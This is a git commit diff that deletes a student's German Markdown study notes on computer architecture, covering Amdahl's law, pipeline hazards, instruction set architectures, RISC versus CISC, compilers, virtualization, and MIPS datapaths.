cleared cache because workspace.json is abnoxious
This commit is contained in:
@@ -1,4 +0,0 @@
|
||||
# Was ist das Amdahlsche Gesetz
|
||||
Das Amdahlsche Gesetz bezieht sich auf die maximale Prozessbeschleunigung, die man anhand X Prozessoren im Multi-Threading erreichen kann.
|
||||
|
||||
$µs = \frac{1}{1-p+\frac{p}{s}}$
|
||||
@@ -1,11 +0,0 @@
|
||||
# Falsch beantwortete Fragen:
|
||||
1. Harvard Architektur
|
||||
2. Adressraum
|
||||
3. TLB
|
||||
4. Multithreading
|
||||
5. Ausnahmebehandlung
|
||||
6. Adressierung
|
||||
7. Pipelinestufen
|
||||
8. Vorteile Verzweigter Adressierung relativ zum Programmzähler
|
||||
9. Branch Delay Slot
|
||||
10. Warum kann eine CPU mit höherem MIPS-Wert langsamer sein, als eien CPU mit niedrigem MIPS-Wert?
|
||||
@@ -1,8 +0,0 @@
|
||||
|
||||
# Hazards
|
||||
## DATA Hazard
|
||||
![[Pasted image 20250709205101.png]]
|
||||
Durch 'optimierungen' (verlagern des 2. LOAD WORD lw Befehls) wird Stalling verhindert und man spart sich 2 Takte. --> 11 Takte
|
||||
## CONTROL Hazard
|
||||
## STRUCT Hazard
|
||||
Es dürfen Fetch und Memory nicht gleichzeitig geschehen, Fetch müsste anhand eines NOPs delayed werden.
|
||||
@@ -1,10 +0,0 @@
|
||||
a = 2 min
|
||||
b = 8 min
|
||||
|
||||
a) $\frac{2}{8}\ \frac{0.25 min}{15 sec}$
|
||||
= 8 min 15 sek
|
||||
|
||||
b) 8 min * 0.8 + 2 min = 8,4 minuten
|
||||
|
||||
(a+b)/ 8,25 = 1,21111
|
||||
(a+b)/ 8,4 = 1,19
|
||||
Binary file not shown.
|
Before Width: | Height: | Size: 61 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 65 KiB |
@@ -1,14 +0,0 @@
|
||||
# Übung 1
|
||||
- Beim von-Neumann-Rechner lassen sich Programme im Speicher genauso ändern wie Daten. Wo könnte das sinnvoll sein?
|
||||
- Beim der Rechner der Harvard-Rechner sind Programme und Daten strikt getrennt. Wo könnte das sinnvoll sein?
|
||||
- Welche Gatter kennen Sie?
|
||||
- Welche Darstellungen (graphisch) von Gattern kennen Sie?
|
||||
- Wie viele unterschiedliche Gatter gibt es, sind möglich?
|
||||
- Was für Komponenten kennen Sie eine Abstraktionsebene über den Gattern?
|
||||
- Noch eine Ebene höher?
|
||||
- Beim der Rechner der Harvard-Rechner sind Programme und Daten strikt getrennt. Wo könnte das sinnvoll sein?
|
||||
- Was beschreibt das Moore’sche Gesetz?
|
||||
|
||||
- Auf einem Datenpfad benötigt das Laden der Eingaberegister 5 ns, die ALU-Verarbeitung 10 ns und das Rückspeichern 5 ns. Wie viel MIPS hat dieser Rechner?
|
||||
$\frac{1}{20^{-9}s} = 0.05 * 10^9 = 50 \text{ MIPS}$
|
||||
|
||||
Binary file not shown.
|
Before Width: | Height: | Size: 18 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 71 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 33 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 19 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 233 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 122 KiB |
@@ -1,96 +0,0 @@
|
||||
## 📘 **Zusammenfassung: V1 Einführung – Computerarchitektur**
|
||||
|
||||
### 🏛️ Was ist Computerarchitektur?
|
||||
|
||||
- **Definition:** Untersuchung, wie alle Teile eines Computersystems entworfen werden müssen, um eine optimale Programmierung zu ermöglichen.
|
||||
- **Enthält:** Datentypen, Operationen, Merkmale, Komponenten auf unterschiedlichen Ebenen.
|
||||
- **Begriffspaare:**
|
||||
- **Computerarchitektur** = was der Programmierer „sieht“ (Befehlssatz, Speicher, IO)
|
||||
- **Computerorganisation** = wie es technisch umgesetzt ist (Mikroarchitektur, Logikgatter)
|
||||
|
||||
---
|
||||
|
||||
### 🔄 Wichtige Kundenfragen
|
||||
|
||||
- Ist der neue Rechner **kompatibel**?
|
||||
- Betriebssystem, Programme, Peripherie => **Abwärtskompatibilität**
|
||||
- Unterschiedliche Bedürfnisse von Mensch & Maschine → **Abstraktion nötig**
|
||||
|
||||
---
|
||||
|
||||
### 🪜 Ebenen der Abstraktion (Virtuelle Maschinen)
|
||||
|
||||
1. **Ebene 0 – Digitale Logik:** Gatter, Flipflops
|
||||
2. **Ebene 1 – Mikroarchitektur:** ALU, Register, Datenpfade
|
||||
3. **Ebene 2 – Befehlssatzachritektur (ISA):** Maschinensprache
|
||||
4. **Ebene 3 – Betriebssystem:** Multiprogramming, IO-Abstraktion
|
||||
5. **Ebene 4 – Assemblersprache:** maschinennahe Programmierung
|
||||
6. **Ebene 5 – Problemorientierte Sprachen:** unabhängige Algorithmen, Compiler oder Interpreter
|
||||
|
||||
---
|
||||
|
||||
### 📜 Historie der Computer
|
||||
|
||||
#### Nullte Generation (vor 1945)
|
||||
|
||||
- Mechanische Rechenmaschinen (Pascal, Leibniz, Babbage)
|
||||
- Zuse Z3 (1941) – erster programmgesteuerter Computer
|
||||
|
||||
#### Erste Generation (1945–1955)
|
||||
|
||||
- Relais, Vakuumröhren
|
||||
- **ENIAC**, **COLOSSUS**, **IAS-Maschine**
|
||||
- Einführung der Mikroprogrammierung (Wilkes, 1951)
|
||||
- Von-Neumann-Architektur:
|
||||
- Gemeinsamer Speicher für Daten & Programme
|
||||
- Vorteil: Programme können sich selbst ändern
|
||||
- Harvard-Architektur:
|
||||
- Trennung von Daten- & Programmspeicher
|
||||
- Vorteil: schneller & sicherer
|
||||
|
||||
#### Zweite Generation (1955–1965)
|
||||
|
||||
- **Transistoren** ersetzen Röhren
|
||||
- Minicomputer (DEC PDP)
|
||||
|
||||
#### Dritte Generation (1965–1980)
|
||||
|
||||
- **Integrierte Schaltungen**
|
||||
- IBM System/360 → Abwärtskompatibilität
|
||||
|
||||
#### Vierte Generation (ab 1980)
|
||||
|
||||
- **VLSI (Very Large Scale Integration)**
|
||||
- Personal Computer (IBM PC, Commodore, Apple)
|
||||
- RISC vs. CISC Architekturen
|
||||
|
||||
#### Fünfte Generation (heute)
|
||||
|
||||
- Cloud Computing, Mobile Geräte, Embedded Systems
|
||||
|
||||
---
|
||||
|
||||
### 🚀 Meilensteine
|
||||
|
||||
- **Intel 4004 (1971):** erster Mikroprozessor (4-bit)
|
||||
- **Intel 8080, 8086:** Vorläufer moderner x86-Architektur
|
||||
- **Cray-1 (1977):** erster Vektorrechner/Supercomputer
|
||||
- **PDP-11 (1970):** Unix & Programmiersprache C entstanden darauf
|
||||
|
||||
---
|
||||
|
||||
### 📚 Literatur (Hauptquelle für Klausurvorbereitung)
|
||||
|
||||
- Patterson & Hennessy:
|
||||
- _Rechnerorganisation und Rechnerentwurf_
|
||||
- _Computer Organization and Design_ (RISC-V Edition)
|
||||
|
||||
---
|
||||
|
||||
### 🧠 Für die Klausur merken
|
||||
|
||||
✅ Unterschiede Von-Neumann vs. Harvard-Architektur
|
||||
✅ Abstraktionsebenen (0–5) und ihre Funktionen
|
||||
✅ Historische Entwicklung + wichtige Computer/Prozessoren
|
||||
✅ Begriffe wie ISA, Mikroarchitektur, VLSI, Abwärtskompatibilität
|
||||
✅ Beispielfragen: „Warum war der Intel 4004 revolutionär?“ oder „Worin liegt der Vorteil der Harvard-Architektur?“
|
||||
@@ -1,121 +0,0 @@
|
||||
## 📘 **Zusammenfassung: VA Compiler – Computerarchitektur**
|
||||
|
||||
---
|
||||
|
||||
### 🔄 Vom Quellcode zum ausführbaren Programm
|
||||
|
||||
- **Compiler-Toolchain**:
|
||||
|
||||
- Übersetzt Hochsprache in Maschinencode
|
||||
|
||||
- Tools: GCC, Clang, MSVC, Intel Compiler
|
||||
|
||||
- Ergebnis: ausführbare Datei (PE, ELF, Mach-O)
|
||||
|
||||
- **Loader (Betriebssystem):**
|
||||
|
||||
- Lädt die Datei in den Speicher & startet die Ausführung
|
||||
|
||||
|
||||
---
|
||||
|
||||
### 🧱 Phasen des Compilers
|
||||
|
||||
|Phase|Aufgabe|
|
||||
|---|---|
|
||||
|**Lexikalische Analyse**|Zerlegt Quelltext in Tokens: `<Tokenname, Attributwert>`|
|
||||
|**Syntaktische Analyse**|Erzeugt Syntaxbaum (AST) aus Tokens|
|
||||
|**Semantische Analyse**|Prüft Typen, ergänzt Typkonvertierungen, Symboltabelle wird erweitert|
|
||||
|**Zwischencode-Gen.**|Erzeugt maschinenunabhängigen Zwischencode (z. B. 3-Adress-Code)|
|
||||
|**Optimierung**|Vereinfachung & Effizienzsteigerung (lokal/global, konstante Faltung, tote Code-Elimination)|
|
||||
|**Codegenerator**|Übersetzt in Zielmaschinencode, Register- und Speicherzuweisung|
|
||||
|
||||
---
|
||||
|
||||
### 🔥 Optimierungstechniken
|
||||
|
||||
#### 🏃 Lokale Optimierungen (Basisblock)
|
||||
|
||||
- Gemeinsame Teilausdrücke eliminieren
|
||||
|
||||
- Toten Code entfernen
|
||||
|
||||
- Registernutzung reduzieren (Operandenumordnung)
|
||||
|
||||
- Kostenreduktion: Multiplikation → Addition ersetzen
|
||||
|
||||
|
||||
#### 🌎 Globale Optimierungen
|
||||
|
||||
- Registerzuteilung über mehrere Basisblöcke hinweg
|
||||
|
||||
- Schleifeninvariante Codebewegung
|
||||
|
||||
- Induktionsvariablen optimieren (i++ statt i = i+1)
|
||||
|
||||
|
||||
#### 📝 Beispiel (3-Adress-Code)
|
||||
|
||||
```c
|
||||
t1 = id3 * 60.0
|
||||
id1 = id2 + t1
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### 🌳 Flussgraph & DAG
|
||||
|
||||
- **Grundblöcke:** Sequenzen ohne Sprünge
|
||||
|
||||
- **Flussgraph:** zeigt Steuerfluss zwischen Grundblöcken
|
||||
|
||||
- **DAG (Directed Acyclic Graph):** erkennt gemeinsame Teilausdrücke
|
||||
|
||||
|
||||
---
|
||||
|
||||
### 🔗 Binden & Laden
|
||||
|
||||
- **Relokation:** Anpassung der Adressen bei Modulzusammenführung
|
||||
|
||||
- **Dynamisches Binden:**
|
||||
|
||||
- Windows: DLLs (Dynamic Link Libraries)
|
||||
|
||||
- Unix: Shared Objects (.so)
|
||||
|
||||
- MULTICS: Prozeduradresse erst beim ersten Aufruf zugewiesen
|
||||
|
||||
|
||||
---
|
||||
|
||||
### ⚙️ Compiler Tools
|
||||
|
||||
|Tool|Aufgabe|
|
||||
|---|---|
|
||||
|`cc -E`|Preprocessing (Makros expandieren)|
|
||||
|`cc -S`|Erzeugt Assembler-Code|
|
||||
|`cc -c`|Erzeugt Objektcode|
|
||||
|`cc -o`|Linkt Objektcode zu ausführbarer Datei|
|
||||
|
||||
---
|
||||
|
||||
### 📚 Literatur
|
||||
|
||||
- **Dragon Book:** _Compilers: Principles, Techniques, and Tools_ (Aho, Sethi, Ullman, Lam)
|
||||
|
||||
- **Wirth:** _Compilerbau_
|
||||
|
||||
|
||||
---
|
||||
|
||||
### 📝 Für die Klausur merken
|
||||
|
||||
✅ Compiler-Phasen & deren Aufgaben
|
||||
✅ Unterschied Inline Assembler ↔ Compiler
|
||||
✅ Optimierungen: lokal (Basisblock), global (Flussgraph)
|
||||
✅ DAG & Flussgraph: Aufbau und Nutzen
|
||||
✅ Dynamisches Binden unter Windows/Unix
|
||||
✅ Tools & Compiler-Optionen (z. B. `cc -S`, `cc -c`)
|
||||
|
||||
---
|
||||
@@ -1,152 +0,0 @@
|
||||
## 📘 **Zusammenfassung: VB Zuverlässigkeit und Virtualität – Computerarchitektur**
|
||||
|
||||
---
|
||||
|
||||
### 🔒 **Zuverlässigkeit (Dependability)**
|
||||
|
||||
#### 🛑 Begriffe
|
||||
|
||||
- **Fault:** Fehler in einem Bauteil (temporär oder permanent)
|
||||
|
||||
- **Failure:** System liefert nicht die spezifizierte Leistung
|
||||
|
||||
- **MTTF (Mean Time To Failure):** mittlere Betriebsdauer bis zum Ausfall
|
||||
|
||||
- **MTTR (Mean Time To Repair):** mittlere Reparaturzeit
|
||||
|
||||
- **MTBF (Mean Time Between Failures):** MTTF+MTTRMTTF + MTTR
|
||||
|
||||
- **Verfügbarkeit (Availability):**
|
||||
|
||||
Availability=MTTFMTTF+MTTRAvailability = \frac{MTTF}{MTTF + MTTR}
|
||||
- Verbesserungen:
|
||||
|
||||
- **MTTF erhöhen:** Fehlervermeidung, Fehlertoleranz
|
||||
|
||||
- **MTTR verringern:** bessere Diagnose & Reparaturprozesse
|
||||
|
||||
|
||||
---
|
||||
|
||||
### 🧮 Fehlererkennung & Korrektur
|
||||
|
||||
#### ✅ Hamming-Codes
|
||||
|
||||
- **Hamming-Distanz 3:** Single Error Correction (SEC), Double Error Detection (DED)
|
||||
|
||||
- SEC/DED:
|
||||
|
||||
- Erkennt bis zu 2 Fehler
|
||||
|
||||
- Korrigiert einen Fehler
|
||||
|
||||
- ECC DRAM: Schützt 64 Bit mit zusätzlichen 8 Bit (insg. 72 Bit)
|
||||
|
||||
|
||||
---
|
||||
|
||||
### 🖥 Virtualisierung
|
||||
|
||||
#### 📦 Virtuelle Maschinen (VMs)
|
||||
|
||||
- Host-System emuliert Gastbetriebssystem & Hardware
|
||||
|
||||
- Vorteile:
|
||||
|
||||
- Isolation mehrerer Gäste
|
||||
|
||||
- Bessere Ressourcennutzung
|
||||
|
||||
- Sicherheit & Zuverlässigkeit
|
||||
|
||||
- Beispiele:
|
||||
|
||||
- **System-VMs:** VMware, VirtualBox
|
||||
|
||||
- **Language-VMs:** JavaVM
|
||||
|
||||
- **Container (lightweight):** Docker
|
||||
|
||||
|
||||
#### ⚙ Virtual Machine Monitor (VMM)
|
||||
|
||||
- Verwaltet die Zuordnung von virtuellen zu physischen Ressourcen
|
||||
|
||||
- Traps bei privilegierten Instruktionen
|
||||
|
||||
- Emuliert Timer & I/O-Geräte für Gäste
|
||||
|
||||
|
||||
---
|
||||
|
||||
### 🗺 Virtueller Speicher (Virtual Memory)
|
||||
|
||||
#### 🧱 Grundlagen
|
||||
|
||||
- Nutzt Hauptspeicher als Cache für Festplatte
|
||||
|
||||
- Programme erhalten eigenen **virtuellen Adressraum**
|
||||
|
||||
- **Page Table:** Zuordnung virtueller zu physischer Adressen
|
||||
|
||||
- **Page Fault:** Seite nicht im Speicher → OS lädt sie nach
|
||||
|
||||
|
||||
#### 🚀 Optimierungen
|
||||
|
||||
- **Translation Lookaside Buffer (TLB):** Cache für Seitentabelleneinträge
|
||||
|
||||
- **LRU (Least Recently Used):** Ersetzt selten genutzte Seiten
|
||||
|
||||
- **Write-Back Cache:** Schreibt geänderte Seiten nur bei Ersetzung zurück
|
||||
|
||||
|
||||
---
|
||||
|
||||
### 🔥 Speicherhierarchie & Multiprozessoren
|
||||
|
||||
#### 🏎 Cache-Kohärenz
|
||||
|
||||
- Problem: mehrere Caches → inkonsistente Daten
|
||||
|
||||
- Lösungen:
|
||||
|
||||
- **Snooping-Protokolle:** Caches überwachen Busaktivitäten
|
||||
|
||||
- **Directory-based Protokolle:** zentrale Verzeichnisse verwalten Status
|
||||
|
||||
- **Memory Consistency:** Sicherstellen, dass alle Prozessoren Änderungen sehen
|
||||
|
||||
|
||||
---
|
||||
|
||||
### ⚠️ Fallacies & Pitfalls
|
||||
|
||||
- Schlechte Speicherlokalität (z. B. Spaltenweise Iteration)
|
||||
|
||||
- Geringe Assoziativität bei vielen Kernen → Konfliktmisses
|
||||
|
||||
- VM-Implementierung auf ISAs ohne Virtualisierungs-Support erschwert
|
||||
|
||||
|
||||
---
|
||||
|
||||
### 📜 Fazit
|
||||
|
||||
✅ **Fast memories are small, large memories are slow → Memory Hierarchy mit Caching notwendig**
|
||||
✅ Zuverlässigkeit durch Fehlertoleranz & Fehlerkorrektur verbessern
|
||||
✅ Virtualisierung & Virtual Memory: Schlüsseltechnologien moderner Systeme
|
||||
✅ Multiprozessorsysteme benötigen Kohärenzprotokolle
|
||||
|
||||
---
|
||||
|
||||
### 📝 Für die Klausur merken
|
||||
|
||||
✅ Unterschied Fault ↔ Failure ↔ Error
|
||||
✅ Hamming-Codes: SEC/DED, ECC
|
||||
✅ Vorteile/Nachteile von Virtualisierung
|
||||
✅ Virtual Memory: Page Table, TLB, Page Fault Handling
|
||||
✅ Cache-Kohärenz: Snooping vs. Directory-Protokolle
|
||||
✅ Bedeutung von LRU & Write-Back Caches
|
||||
|
||||
---
|
||||
@@ -1,169 +0,0 @@
|
||||
## 📘 **Zusammenfassung: V2 Architekturen – Computerarchitektur**
|
||||
|
||||
### 🔄 Wiederholung Computergenerationen
|
||||
|
||||
- **0. Generation (bis 1945):** Mechanische Rechenmaschinen (Pascal, Leibniz, Babbage, Zuse)
|
||||
- **1. Generation (1945–1955):** Relais & Vakuumröhren – ENIAC, COLOSSUS, MANIAC
|
||||
- **2. Generation (1955–1965):** Transistoren – Minicomputer (PDP), Supercomputer (CDC 6600)
|
||||
- **3. Generation (1965–1980):** Integrierte Schaltungen – IBM System/360, PDP-11
|
||||
- **4. Generation (ab 1980):** VLSI – PCs, x86-Architektur
|
||||
- **5. Generation (heute):** Smartphones, Cloud, Embedded Systems
|
||||
|
||||
---
|
||||
|
||||
### 🚀 Moore’s Law (Moor’sches Gesetz)
|
||||
|
||||
- **Kerngedanke:** Verdopplung der Anzahl Transistoren pro IC alle 12–24 Monate.
|
||||
- Auswirkungen:
|
||||
- Kleinere Strukturen → geringere Kosten
|
||||
- Mehr Komponenten → höhere Leistung
|
||||
- > Resultierend: Geringerer Stromverbrauch
|
||||
- Aber: Miniaturisierung wird zunehmend teurer und schwieriger.
|
||||
|
||||
---
|
||||
|
||||
### 📊 Leistungsmessung von Computern
|
||||
|
||||
- **System-Benchmarks:** Cinebench, 3DMark, HPC Challenge
|
||||
- **Kenngrößen:**
|
||||
- Instruktionen/Sekunde (IPS), FLOPS (Floating point operations/second)
|
||||
- Taktzyklen pro Instruktion (CPI), Instruktionen pro Takt (IPC)
|
||||
- Speicherzugriffszeit, Durchsatz
|
||||
- Netzwerk- & Grafikleistung (FPS, TPS)
|
||||
- Kritik an MIPS: „Misleading Information to Promote Sales“ – nicht immer aussagekräftig. (MIPS => Million instructions per second)
|
||||
|
||||
---
|
||||
|
||||
### 🤖 Computer als endlicher Automat (Finite State Machine)
|
||||
|
||||
- **Zustände:** durch Bitmuster repräsentiert
|
||||
- **Operation:** Boolesche Funktion auf Teilzuständen
|
||||
- Vergleichbare Modelle:
|
||||
- Schaltnetz: keine Schleifen, keine Rückkopplung)
|
||||
- Endlicher Automat (Deterministisch und Nichtdeterministisch)
|
||||
- Kellerautomat (unendlich, aber Zugriff nur auf oberstes Element)(Hardwarelimitierungen?)
|
||||
- Turing-Maschine (endliche Zustände des Automaten, unendliches Band zum Lesen und Schreiben)
|
||||
![[Pasted image 20250708185128.png]]
|
||||
![[Pasted image 20250708185152.png]]
|
||||
![[Pasted image 20250708185618.png]]
|
||||
|
||||
---
|
||||
|
||||
### 🚌 Speicheranbindung & Endianness
|
||||
|
||||
- Speicheradressierung:
|
||||
- **big-endian:** höchstwertiges Byte an kleinster Adresse
|
||||
- **little-endian:** niedrigstwertiges Byte zuerst
|
||||
- Bus-System:
|
||||
- Bus-Takt meist langsamer als CPU-Takt
|
||||
- Cache als schneller Zwischenspeicher
|
||||
|
||||
---
|
||||
|
||||
### ⚙️ Aufbau von Computersystemen
|
||||
|
||||
#### Rechenwerk (ALU)
|
||||
|
||||
- Operationen: +, −, *, /, logische Operationen
|
||||
- Moderne CPUs: mehrere Register → direkte Register-Register-Operationen
|
||||
- Ältere CPUs: Akkumulator-Register für ALU-Operationen
|
||||
![[Pasted image 20250708185932.png]]****
|
||||
#### Steuerwerk
|
||||
- Verantwortlich für:
|
||||
- Ausführung der Befehle
|
||||
- Datenflusskontrolle
|
||||
- Ausnahmebehandlung & Interrupts
|
||||
|
||||
#### Register
|
||||
- Program Counter PC
|
||||
- Befehlsregister (Instruction Registers IR)
|
||||
- **optional**: Stackpointer SP
|
||||
- **Statusregister**: Zustandsregister, Flags usw.
|
||||
- Einfache CPUs haben einen speziellen Akkumulator-Register (Accu)
|
||||
- Aus diesem wird ein Wert gelesen
|
||||
- Ergebnis einer Operation wird hier gelagert
|
||||
- Moderne CPUs können nicht direkt Daten aus dem Hauptspeicher in das Rechenwerk lesen (Sicherheit oder warum?)
|
||||
|
||||
#### Bottleneck Datentransfer
|
||||
| Speichertyp | Geschwindigkeit |
|
||||
| -------------------- | -------------------- |
|
||||
| CPU Register | < Nanosekunde |
|
||||
| CPU Cache | ~wenige Nanosekunden |
|
||||
| Arbeitsspeicher | 60-70 Nanosekunden |
|
||||
| Sekundärspeicher SSD | 0,4 ms |
|
||||
| Sekundärspeicher HDD | 8-10 ms |
|
||||
|
||||
---
|
||||
|
||||
### 🧵 Befehlssatzarchitekturen (ISA)
|
||||
|
||||
**Befehle bestimmen die Architektur und umgekehrt**
|
||||
|
||||
#### 1️⃣ Stack-Architektur
|
||||
|
||||
- Operanden und Ergebnisse liegen auf Stack.
|
||||
- Benötigt Stack Pointer **SP Register**
|
||||
- Ergebnis wird final auf den Stack gelegt
|
||||
- Vorteile: kompakter Code, minimaler Prozessorzustand, sog. Null-Address Machine
|
||||
- Nachteil: viele Speicherzugriffe
|
||||
- Heute: nur noch in virtuellen Maschinen (JVM, p-Machine)
|
||||
|
||||
#### 2️⃣ Akkumulator-Architektur
|
||||
|
||||
- Ein Register (Akkumulator) für Operanden & Ergebnis
|
||||
- Speicherzugriff für zweiten Operand nötig
|
||||
- Kompakt, aber teuer durch Speicherzugriffe
|
||||
- **Ein-Adress-Maschine**
|
||||
|
||||
#### 3️⃣ Register-Memory-Architektur
|
||||
|
||||
- Mehrere Register, 2. Operand aus Speicher
|
||||
- Zwei-Adress-Befehle
|
||||
- Vorteil: direkt mit Speicher arbeiten
|
||||
- Nachteil: Speicherzugriffe kosten Zeit
|
||||
|
||||
#### 4️⃣ Register-Register (Load/Store)-Architektur
|
||||
|
||||
- Arithmetik nur auf Registern
|
||||
- Speicherzugriff explizit mit Load/Store
|
||||
- Drei-Adress-Befehle
|
||||
- Vorteil: keine unnötigen Speicherzugriffe
|
||||
- Nachteil: mehr Befehle nötig → größerer Code
|
||||
- Typisch für **RISC-Architekturen**
|
||||
|
||||
---
|
||||
|
||||
### 🔥 RISC vs CISC
|
||||
|
||||
| **Merkmal** | **RISC** | **CISC** |
|
||||
| --------------- | ----------------------------------- | ------------------------------- |
|
||||
| **Befehlssatz** | Einfach, einheitlich, kurze Befehle | Komplex, unterschiedliche Länge |
|
||||
| **Hardware** | Einfach, energieeffizient | Komplex oder Mikroprogramme |
|
||||
| **Codegröße** | Größer | Kompakter |
|
||||
| **Beispiele** | ARM, MIPS, SPARC, PowerPC | x86 (Intel, AMD), Zilog Z80 |
|
||||
| **Vorteile** | Schneller bei genügend Registern | Speichereffizient |
|
||||
| **Nachteile** | Mehr Programmspeicher nötig | Langsame komplexe Befehle |
|
||||
|
||||
Unterschied zwischen CISC und RISC CPUs – Gibt es Mischformen?
|
||||
|
||||
| ==Merkmal== | ==CISC (Complex Instruction Set Computer)== | ==RISC (Reduced Instruction Set Computer)== |
|
||||
| :--------------- | :------------------------------------------ | :------------------------------------------ |
|
||||
| Befehlssatz | Viele, komplexe Befehle | Wenige, einfache Befehle |
|
||||
| Hardwareaufbau | Komplexe Steuerlogik oder Mikroprogramme | Einfache, schnelle Hardware |
|
||||
| Befehlslänge | Unterschiedlich lang (z. B. 1–15 Byte) | Gleich lang (z. B. 4 Byte) |
|
||||
| Operationen | Direkt mit Speicher möglich | Nur mit Registern (Load/Store-Prinzip) |
|
||||
| Speicherbedarf | Geringer, da kompakter Code | Höher, da mehr Befehle nötig |
|
||||
| Energieeffizienz | Weniger effizient | Höher, da keine ungenutzten Logikblöcke |
|
||||
| Fokus | Effizienz bei Assembler-Programmierung | Optimierung für Compiler und Pipeline |
|
||||
|
||||
|
||||
---
|
||||
|
||||
### 📝 Für die Klausur merken
|
||||
|
||||
✅ Unterschiede der Architekturen (Stack, Akkumulator, Register-Memory, Load/Store)
|
||||
✅ RISC vs. CISC: Vor- und Nachteile + Beispiele
|
||||
✅ Endianness und Bedeutung bei Datentransfer
|
||||
✅ Moore’s Law und dessen Grenzen
|
||||
✅ Flaschenhals Speicherzugriff: Register > Cache > RAM > SSD > HDD
|
||||
|
||||
@@ -1,78 +0,0 @@
|
||||
## 📘 **Zusammenfassung: V3 Prozessor (Teil 1) – Computerarchitektur**
|
||||
|
||||
### 🧠 Einführung: CPU-Leistungsfaktoren
|
||||
|
||||
- **Instruction Count (IC):** Anzahl der Befehle → bestimmt durch ISA & Compiler\
|
||||
- **Cycles Per Instruction (CPI):** Anzahl der Takte pro Befehl → bestimmt durch Hardware\
|
||||
- **Cycle Time (CT):** Dauer eines Takts → bestimmt durch Hardware\
|
||||
- **CPU-Zeit Formel:**\
|
||||
CPU-Zeit=IC×CPI×CTCPU\text{-Zeit} = IC \times CPI \times CT
|
||||
|
||||
---
|
||||
|
||||
### 🔁 Ablauf der Instruktionsausführung
|
||||
|
||||
1. **Fetch:** Befehl aus Speicher laden (PC → Instruction Memory)\
|
||||
2. **Decode:** Register lesen, Operanden bestimmen\
|
||||
3. **Execute:** ALU berechnet Ergebnis oder Adresse\
|
||||
4. **Memory Access:** Speicherzugriff bei Load/Store\
|
||||
5. **Write Back:** Ergebnis ins Register zurückschreiben\
|
||||
6. **PC Update:** PC + 4 oder Sprungadresse\
|
||||
|
||||
---
|
||||
|
||||
### 🗂️ MIPS-Befehlssatz (Überblick)
|
||||
|
||||
#### 📦 Register
|
||||
|
||||
- 32 Register: z. B. `$s0-$s7`, `$t0-$t9`, `$zero` (immer 0), `$sp`, `$ra`\
|
||||
- Daten müssen in Register geladen werden, bevor ALU-Operationen möglich sind.\
|
||||
|
||||
#### 🛠️ Befehle
|
||||
![[Pasted image 20250708193917.png]]
|
||||
![[Pasted image 20250708193937.png]]
|
||||
---
|
||||
|
||||
### 🧮 Aufbau der CPU: Datenpfad (Datapath)
|
||||
|
||||
#### 🛠️ Bausteine
|
||||
|
||||
- **Register:** Speicherung von Zwischenwerten\
|
||||
- **ALU (Arithmetic Logic Unit):** führt Berechnungen durch\
|
||||
- **Multiplexer (MUX):** entscheidet zwischen Eingangsquellen\
|
||||
- **Memory:** Instruktions- & Datenspeicher\
|
||||
- **Control Unit:** steuert Datenfluss und Operationen\
|
||||
|
||||
#### 📐 Schrittweise Entwicklung
|
||||
|
||||
- **R-Typ Befehle:** nur Registeroperationen\
|
||||
- **Load/Store:** ALU berechnet Adresse, Speicherzugriff\
|
||||
- **Branch:** ALU-Vergleich → PC-Update bei Bedingung\
|
||||
|
||||
---
|
||||
|
||||
### 🔄 Taktgesteuerte Logik
|
||||
|
||||
- **Kombinatorische Elemente:** berechnen Ausgaben ohne Zustände\
|
||||
- **Sequenzielle Elemente (Register):** speichern Zustände, aktualisieren mit **Taktflanke**\
|
||||
- **Clocking Methodology:** Längste Verzögerung bestimmt Taktperiode.\
|
||||
|
||||
---
|
||||
|
||||
### 🔥 Besonderheiten MIPS
|
||||
|
||||
- **Load/Store Architektur:** Nur Load/Store greifen auf Speicher zu; alle anderen Befehle arbeiten mit Registern.\
|
||||
- **Einheitliche Befehlslänge (32 Bit):** vereinfacht Dekodierung.\
|
||||
- **Pipelining-Fähigkeit:** parallele Bearbeitung mehrerer Instruktionen möglich (kommt in Teil 2).\
|
||||
|
||||
---
|
||||
|
||||
### 📝 Für die Klausur merken
|
||||
|
||||
✅ CPU-Leistungsfaktoren & Formel
|
||||
✅ MIPS-Befehle (insbesondere `lw`, `sw`, `add`, `beq`, `j`)
|
||||
✅ Unterschied komb. Logik ↔ sequenzielle Logik
|
||||
✅ Aufbau des Datenpfades & Rolle der einzelnen Elemente
|
||||
✅ Load/Store-Prinzip (Register-Register-Arithmetik)
|
||||
|
||||
---
|
||||
@@ -1,66 +0,0 @@
|
||||
## 📘 **Zusammenfassung: V3a Von Schaltnetzen zu Endlichen Automaten**
|
||||
|
||||
### 🔌 Schaltnetze (Combinatorial Logic)
|
||||
|
||||
- **Merkmale:**
|
||||
- Keine Schleifen
|
||||
- Keine Rückkopplung
|
||||
- Keine Zustände (stateless)
|
||||
- Gleiche Eingabe → gleiche Ausgabe
|
||||
- Benötigt Zeit zur Ausgabeerzeugung (aber keinen Takt)
|
||||
- **Praxisbezug:** Einfache Logik wie Addierer, Multiplexer, Decoder sind Schaltnetze.
|
||||
|
||||
---
|
||||
|
||||
### 🔁 Endliche Automaten (Finite State Machines, FSM)
|
||||
|
||||
- **Merkmale:**
|
||||
- Schleifen und Rückkopplungen möglich
|
||||
- Zustände vorhanden (stateful)
|
||||
- Gleiche Eingabe kann unterschiedliche Ausgaben erzeugen – abhängig vom aktuellen Zustand
|
||||
- Braucht Zeit zur Ausgabeerzeugung
|
||||
- **Meist getaktet**, um Design und Analyse zu vereinfachen
|
||||
- **Praxisbezug:** Steuerwerke in Prozessoren sind typischerweise FSMs.
|
||||
|
||||
---
|
||||
|
||||
### 🕒 Vom Schaltnetz zum Endlichen Automaten
|
||||
|
||||
- Erweiterung von Schaltnetzen durch:
|
||||
1. **Flip-Flops** → Speichern von Zuständen
|
||||
2. **Getaktete Flip-Flops** → Synchronisation der Zustandsänderung
|
||||
3. **Flankengesteuerte Flip-Flops** → Reagieren nur auf steigende oder fallende Taktflanken
|
||||
- Ergebnis: **Deterministischer Endlicher Automat (DEA)** mit Taktsteuerung.
|
||||
|
||||
---
|
||||
|
||||
### 🔄 Struktur eines DEAs
|
||||
|
||||
- **Bestandteile:**
|
||||
- Zustandspeicher (z. B. Flip-Flops)
|
||||
- Kombinatorische Logik
|
